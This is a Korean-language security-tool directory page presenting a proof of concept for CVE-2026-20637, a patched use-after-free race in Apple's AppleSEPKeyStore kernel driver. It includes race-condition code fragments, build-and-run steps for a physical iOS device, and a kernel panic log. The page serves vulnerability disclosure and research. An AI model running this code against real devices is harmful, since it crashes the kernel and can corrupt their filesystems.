Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-20637-AppleSEPKeyStore-UAF — CVE-2026-20637: AppleSEPKeyStore Use-After-Free — iOS/macOS 커널 취약점(26.4에서 패치됨) | Kitploit
도구/GitHubGitHub/enfilade-labs/cve-2026-20637-applesepkeystore-uaf
iOS SecurityVulnerability AnalysisExploitationMobile SecurityBinary Exploitation
GitHubenfilade-labs/cve-2026-20637-applesepkeystore-uaf

CVE-2026-20637-AppleSEPKeyStore-UAF

CVE-2026-20637: AppleSEPKeyStore Use-After-Free — iOS/macOS 커널 취약점(26.4에서 패치됨)

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
14개월 전아직 검토되지 않음

CVE-2026-20637 — AppleSEPKeyStore Use-After-Free

CVE-2026-20637 · Enfilade · enfilade.io

구성 요소: AppleKeyStore

영향: 앱이 예기치 않은 시스템 종료를 유발할 수 있음.

설명: 향상된 메모리 관리를 통해 use-after-free 문제가 해결되었습니다.

— Apple 보안 콘텐츠, iOS 26.3 및 iPadOS 26.3

대상

iOS26.1 – 26.2 (테스트 완료)
macOS26.1 – 26.2 (테스트 완료)
구성 요소com.apple.driver.AppleSEPKeyStore
패치 버전iOS 26.3 / iPadOS 26.3

Apple은 26.2.1과 26.3 사이에 단계적으로 패치를 적용했을 수 있으므로, 중간 빌드에서는 재현되지 않을 수 있습니다.

경고

PoC를 실행하면 기기가 커널 패닉(kernel panic) 상태가 됩니다. 실행 전에 작업 내용을 저장하세요. 반복적인 패닉은 파일 시스템 손상을 유발할 수 있습니다. 보안 연구 목적으로만 사용하세요.

취약점

AppleKeyStore 경쟁 조건(race condition)을 통해 트리거되는 IOCommandGate의 use-after-free 취약점입니다. 8개의 호출자(caller) 스레드가 셀렉터 0–15에 대해 IOConnectCallMethod를 반복 호출하는 동안 4개의 종료자(closer) 스레드가 IOServiceClose를 경쟁적으로 호출하여, 명령 게이트가 해제된 후에도 접근되는 시간 창(window)이 발생합니다.

개념 증명 (Proof of Concept)

root@kitploit:~
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS      8
#define NUM_CLOSERS      4
#define NUM_ITERATIONS   100000

static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;

// 8개 호출자 스레드: IOConnectCallMethod 반복 호출 (높은 우선순위)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    for (uint32_t sel = 0; sel < 16; sel++) {
        IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
    }
}

// 4개 종료자 스레드: IOServiceClose 경쟁 호출 (높은 우선순위)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    IOServiceClose(conn);
    atomic_store(&g_conn, IO_OBJECT_NULL);
}

// 메인 스레드: 지연 없이 10만 회 연결
for (int i = 0; i < NUM_ITERATIONS; i++) {
    uint32_t type = (i % 4 == 0) ? 0x2022
                  : (i % 4 == 1) ? 0xbeef
                  : (i % 4 == 2) ? 0x1337
                                 : 0x4141;
    IOServiceOpen(svc, mach_task_self(), type, &conn);
    atomic_store(&g_conn, conn);
    // 지연 없음 — 촘촘한 경쟁 시간 창
}

빌드 및 실행

  1. Xcode에서 ios-app/Test.xcodeproj를 엽니다.
  2. 실제 iOS 기기를 선택합니다 (시뮬레이터는 드라이버에 도달할 수 없습니다).
  3. 빌드, 실행 후 앱에서 PoC를 트리거합니다.

패닉 로그

root@kitploit:~
panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
  (off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
   72: 0xfffffffffffffe00

Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
  root:xnu-12377.42.6~55/RELEASE_ARM64_T8030

Panicked task 0xffffffe5b4f1e820: pid 956: Test

Kernel Extensions in backtrace:
   com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
      @0xfffffff016a47020->0xfffffff016a84f9f

라이선스

LICENSE를 참조하세요.

도구 다운로드